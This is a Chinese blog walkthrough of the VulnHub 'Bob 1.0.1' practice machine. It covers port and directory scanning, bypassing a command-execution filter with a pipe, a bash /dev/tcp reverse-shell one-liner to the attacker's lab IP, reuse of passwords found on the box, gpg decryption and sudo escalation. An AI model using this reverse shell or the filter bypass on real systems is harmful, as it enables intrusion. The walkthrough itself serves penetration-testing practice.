Vulnhub Bob 1.0.1靶机（渗透测试详解）

最新推荐文章于 2024-11-13 15:24:33 发布
最新推荐文章于 2024-11-13 15:24:33 发布
阅读量339 收藏 10
点赞数 5
文章标签： c# 开发语言 服务器 安全性测试 web安全 运维 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_78721909/article/details/140933615
版权

一、配置靶机

1、配置靶机网卡

2、kali扫描靶机IP

nmap 192.168.31.0/24

3、扫描靶机开启的端口及服务

nmap -sV -p- -A -Pn 192.168.31.146

4、进行靶机目录扫描

dirsearch -u http://192.168.31.146

二、web渗透测试

1、访问靶机IP地址

2、查找页面功能点

在点击到contact US时，发现了好多用户邮箱和手机号，经过发现，bob可能是管理员用户

3、拼接访问扫描的路径

拼接passwords.html

是一段留言，没有什么信息

拼接/robots.txt

发现了新的路径

继续拼接访问

拼接/dev_shell.php

发现是个命令执行漏洞，但是部分命令被禁用了

尝试用管道符或者是特殊符号绕过过滤。这里通过管道符'|'列出当前目录下的文件

4、尝试反弹shell

id & echo "bash -i >& /dev/tcp/192.168.31.128/5555 0>&1" | bash

成功反弹

三、提权

1、查看是否有权限文件

没有可利用的

2、查看home家目录有啥

切换到家目录，发现有四个用户，分别对应Contact Us页面中IT部门的四个工作人员

先看bob的家目录里面有什么

查看这个password文件

<html> <p> jc:Qwerty seb:T1tanium_Pa$$word_Hack3rs_Fear_M3 </p> </html>

直接告诉了jc和seb的密码

查看这俩用户的目录

jc

seb

elliot

这儿发现了一个txt文件，查看

也没搞懂啥意思，但是信中的内容提到了bob，所以再次进入bob的家目录看一下
在Documents这个路径下发现了三个文件

分别查看其内容

staff.txt

没啥子用

login.txt.gpg

需要密钥才能查看

还有一个Secret的文件夹，随着这个文件往下面找

发现个sh可执行文件，查看

没看懂，网上查资料发现这个密钥就是藏头诗，所以密钥就为HARPOCRATES

然后回到那个gpg文件所在的目录，进行解密

gpg --batch --passphrase HARPOCRATES -d login.txt.gpg

提示好像是权限不够

3、ssh连接jc用户

ssh jc@192.168.233.133 -p 25468
密码：Qwerty
注意ssh端口是25468

切换到那个gpg，再次进行解密

成功获得bob密码

4、切换到bob用户

利用sudo -l查看权限

发现ALL有用用户都可以，直接sudo su提权

提权成功！！！！

 

 

芜丶湖
关注
VulnHub-Bob靶机详细渗透过程
MRS_jianai的博客
12-27 976
VulnHub-Bob靶机详细渗透过程
VulnHub：Bob 1.0.1靶机实战
Aukum的博客
07-08 861
VulnHub-Bob 1.0.1靶机。通过常规信息收集，借助&符号绕过过滤，通过命令执行进行反弹shell。主要考察的是Linux shell基础和信息收集能力。
VulnHub PowerGrid 1.0.1靶机渗透
Jonah_Bare的博客
06-25 1237
​本文首发于微信公众号，未经授权，禁止转载。 难度评级：☆☆☆☆☆官网地址：https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼云盘：https://cloud.189.cn/t/2UN7Ffiuqyym百度网盘：https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取码：r4zc官网简介：靶机会进行计时，即使关闭虚拟机也不会停止，超时后将销毁证据渗透目标：获取root权限，找到4个flag本
BOB1.0.1靶机渗透攻略.pdf
09-21
靶机 Bob 1.0.1 可以在 VulnHub 上找到，这是一个提供实战环境的网站，允许用户下载靶场并进行渗透测试。 渗透攻击过程首先需要使用 Nmap 工具进行扫描，Nmap 是一款强大的网络扫描工具，可以用来发现网络上的主机...
Vulnhub:PowerGrid-1.0.1靶机
qq_43884092的博客
02-10 426
利用gpg解密得到的p48用户私钥登录172.17.0.2，尝试利用ssh登录之后发现172.17.0.1登录的是靶机，172.17.0.2是docker容器。利用msf模块auxiliary/scanner/portscan/tcp扫描，发现172.17.0.1和172.17.0.2开放22端口。切换到root之后查看/root/.ssh/id_rsa，获得root用户私钥，登录172.17.0.1，获得flag。得到账号密码：p48|electrico，登录后发现一封邮件，内容提示存在另一台服务器。
VulnHub靶机-Jangow: 1.0.1
weixin_46694260的博客
09-15 2775
迟到的文章，就当库存发出来吧~
VulnHub-dc-1靶机渗透测试
MzHeader的博客
11-02 562
0x00 前言 在开始之前我们需要先配置一下环境，因不知道DC-1靶机的IP，所有我们需要将靶机和kali放在同一个局域网里面，我这里是桥接。 0x01 探测目标 kali：192.168.199.241 首先，我们先来探测一下目标机器的IP，这里有很多种方法，着重讲一下其中2种方法。 （1）运行arp-scan识别目标的IP地址 使用arp-scan -l命令探测同一区域中存活主机。 （2）使...
每日一题——第一百二十一题
weixin_45778846的博客
11-07 1373
【代码】每日一题——第一百二十一题。
C#学习记录--更新中
2301_76618920的博客
11-06 926
让泛型的类型有一定的限制关键字：where泛型约束一共有6种1.值类型 where 泛型字母:struct2.引用类型 where 泛型字母:class3.存在无参公共构造函数 where 泛型字母:new ()4.某个类本身或者其派生类 where 泛型字母:类名5.某个接口的派生类型 where 泛型字母:接口名6.另一个泛型类型本身或者派生类型 where 泛型字母:另一个泛型字母where 泛型字母:(约束的类型)
C# （定时器、线程）
最新发布
若有博文对您有帮助，欢迎点赞关注，收藏评论。
11-13 133
【代码】C# （定时器、线程）
C#基础入门--类的建立与使用
2403_83182682的博客
11-10 407
这个类跟python、java中的类一样，类中可以有属性、有方法（我这里只有属性），也相当于C语言的结构体。使用本类时需先创建实例化对象，因为这个定义的类毕竟是抽象的，不可能直接给这个类属性赋值，否则此类就只能使用一次。实例化对象就是将Student类的属性和方法复制给student_1,使得stutent_1能使用类中属性和方法但并不影响Student类。这里介绍以下我C#的第一个程序，以类的思想定义一个student类，用户输入类中的属性信息后，控制台打印出这些信息。
C#里使用预定义函数来对数组进行翻转
大坡3D软件开发
11-10 100
一般情况下，对数据进行翻转，就是输入的顺序与输出的顺序不一样。这里输入的是2、3、4、5、6，输出是倒序。这行函数Array.Reverse。
windows C#-标识符命名规则和约定
苏洛的博客
11-10 718
标识符是分配给类型(类、接口、结构、委托或枚举)、成员、变量或命名空间的名称。
单词反转和数组去重，附经典面试题一份
夕阳之歌的博客
11-10 858
博彦科技笔试： 给定字符，拼接成单词进行反转单词； package org.example; public class Main { public static void main(String[] args) { char[] input = {'h', 'e', 'l', 'l', 'o', ' ', 'w', 'o', 'r', 'l', 'd', ' ', 'J', 'a', 'v', 'a'}; String inputToString = new Str
C#语言详解：从基础到进阶
Envyᥫᩣ的博客
11-09 344
C#（发音为C-sharp）是一种面向对象的编程语言，由微软公司开发。它是在.NET框架上运行的主要语言之一，旨在结合了C++的强大功能和Java的简单性。C#支持多种编程范式，包括面向对象、命令式和泛型编程。C#是一种功能强大且灵活的编程语言，适用于多种开发场景。通过本文的介绍，读者应该对C#的基础知识和应用场景有了初步的了解。接下来，你可以尝试编写自己的C#程序，进一步深入学习和实践。
031集——获取外轮廓（只支持线段多段线）（CAD—C#二次开发入门）
yongshiqq的博客
11-09 365
此版本跟007集相比，增加了个识别断线头的功能，即原始图形中线段可不闭合。
032集——圆转多段线（Circle to Polyline）（CAD—C#二次开发入门）
yongshiqq的博客
11-09 666
白色为圆，红色为转换后的多段线（为区分，已手工偏移多段线）
C# 实现对指定句柄的窗口进行键盘输入的实现
百锦再的博客
11-10 477
INPUT结构体用于定义键盘事件。通过上述方法，我们可以在C#中实现对指定句柄的窗口进行键盘操作。这些技术可以用于自动化测试、模拟用户操作等多种场景。选择合适的方法取决于具体的应用需求和环境。
windows C#-LINQ概述
苏洛的博客
11-13 218
查询表达式可用于查询并转换所有启用了 LINQ 的数据源中的数据。例如，通过一个查询即可检索 SQL 数据库中的数据，并生成 XML 流作为输出。查询表达式易于掌握，因为它们使用了许多熟悉的 C# 语言构造。查询表达式中的变量全都是强类型，尽管在许多情况下，无需显式提供类型，因为编译器可以推断出。只有在循环访问查询变量后，才会执行查询(例如，在 foreach 语句中)。有关详细信息，请参阅 LINQ 查询简介。在编译时，查询表达式根据 C# 规范规则转换成标准查询运算符方法调用。
windows C#-异常处理
苏洛的博客
11-09 993
C# 程序员使用 try 块来对可能受异常影响的代码进行分区。关联的 catch 块用于处理生成的任何异常。finally 块包含无论 try 块中是否引发异常都会运行的代码，如发布 try 块中分配的资源。try 块需要一个或多个关联的 catch 块或一个 finally 块，或两者皆之。下面的示例演示 try-catch 语句、try-finally 语句和 try-catch-finally 语句。一个不具有 catch 或 finally 块的 try 块会导致编译器错误。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值